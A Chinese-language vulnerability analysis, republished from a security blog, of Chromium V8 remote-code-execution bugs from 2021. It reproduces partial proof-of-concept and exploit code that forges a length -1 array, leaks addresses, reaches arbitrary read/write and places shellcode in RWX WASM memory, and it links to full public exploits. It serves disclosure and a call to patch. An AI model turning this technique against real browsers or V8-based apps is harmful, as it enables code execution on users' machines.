作者:frust
原文鏈接:http://noahblog.#/chromium_v8_remote_code_execution_vulnerability_analysis/

0x01-概述

2021年4月13日,安全研究人員Rajvardhan Agarwal在推特公布了本周第一個遠程代碼執行(RCE)的0Day漏洞,該漏洞可在當前版本(89.0.4389.114)的谷歌Chrome瀏覽器上成功觸發。Agarwal公布的漏洞,是基于Chromium內核的瀏覽器中V8 JavaScript引擎的遠程代碼執行漏洞,同時還發布了該漏洞的PoC。

2021年4月14日,360高級攻防實驗室安全研究員frust公布了本周第二個Chromium 0day(Issue 1195777)以及Chrome 89.0.4389.114的poc視頻驗證。該漏洞會影響當前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的瀏覽器。

Chrome瀏覽器沙盒可以攔截該漏洞。但如果該漏洞與其他漏洞進行組合,就有可能繞過Chrome沙盒。

0x02-漏洞PoC

目前四個漏洞issue 1126249、issue 1150649、issue 1196683、issue 1195777的exp均使用同一繞過緩解措施手法(截至文章發布,后兩個issue尚未公開),具體細節可參考文章。

基本思路是創建一個數組,然后調用shift函數構造length為-1的數組,從而實現相對任意地址讀寫。issue 1196683中關鍵利用代碼如下所示。

function foo(a) {
......
    if(x==-1) x = 0;
    var arr = new Array(x);//---------------------->構造length為-1數組
    arr.shift();
......
}
issue 1195777中關鍵利用代碼如下所示:

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->構造length為-1數組
    arr.shift();
    let local_arr = Array(2);
    ......
}

參考issue 1126249和issue 1150649中關鍵poc代碼如下所示,其緩解繞過可能使用同一方法。

//1126249
function jit_func(a) {
    .....
    v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
    let v51206 = new Array(v5568);
    v51206.shift();
    Array.prototype.unshift.call(v51206);
    v51206.shift();
   .....
}

//1150649
function jit_func(a, b) {
  ......
  v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
  if (b) {
    v56971 = 0;
  }
  v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
  v129341.shift();
  v4951241 = {};
  v129341.shift();
  ......
}

國內知名研究員gengming和@dydhh1推特發文將在zer0pwn會議發表議題講解CVE-2020-1604[0|1]講過如何繞過緩解機制。本文在此不再贅述。

frust在youtube給出了Chrome89.0.4389.114的poc視頻驗證;經測試最新版Chrome 90.0.4430.72仍舊存在該漏洞。

0x03-exp關鍵代碼

exp關鍵代碼如下所示。

class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;//進行地址泄露
        }
    }
function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//構造長度為-1的數組
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//
        arr[0] = 0x1122;//修改數組長度
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);

通過代碼Array(Math.sign(0 - Math.max(0, x, -1)))創建一個length為-1的數組,然后使用LeakArrayBuffer構造內存布局,將相對讀寫布局成絕對讀寫。

這里需要說明的是,由于chrome80以上版本啟用了地址壓縮,地址高4個字節,可以在構造的array后面的固定偏移找到。

先將corrupt_buffer的地址泄露,然后如下計算地址

 (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;

可以計算出高4字節。

同時結合0x02步驟中實現的相對讀寫和對象泄露,可實現絕對地址讀寫。@r4j0x00在issue 1196683中構造length為-1數組后,則通過偽造對象實現任意地址讀寫。

之后,由于WASM內存具有RWX權限,因此可以將shellcode拷貝到WASM所在內存,實現任意代碼執行。

具體細節參考exp。

該漏洞目前已修復。

0x04-小結

嚴格來說,此次研究人員公開的兩個漏洞并非0day,相關漏洞在最新的V8版本中已修復,但在公開時并未merge到最新版chrome中。由于Chrome自身擁有沙箱保護,該漏洞在沙箱內無法被成功利用,一般情況下,仍然需要配合提權或沙箱逃逸漏洞才行達到沙箱外代碼執行的目的。但是,其他不少基于v8等組件的app(包括安卓),尤其是未開啟沙箱保護的軟件,仍具有潛在安全風險。

漏洞修復和應用代碼修復之間的窗口期為攻擊者提供了可乘之機。Chrome尚且如此,其他依賴v8等組件的APP更不必說,使用1 day甚至 N day即可實現0 day效果。這也為我們敲響警鐘,不僅僅是安全研究,作為應用開發者,也應當關注組件漏洞并及時修復,避免攻擊者趁虛而入。

我們在此也敦促各大軟件廠商、終端用戶、監管機構等及時采取更新、防范措施;使用Chrome的用戶需及時更新,使用其他Chrome內核瀏覽器的用戶則需要提高安全意識,防范攻擊。

參考鏈接

https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971

https://bugs.chromium.org/p/chromium/issues/detail?id=1150649

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645

https://bugs.chromium.org/p/chromium/issues/detail?id=1126249

https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html

https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1557/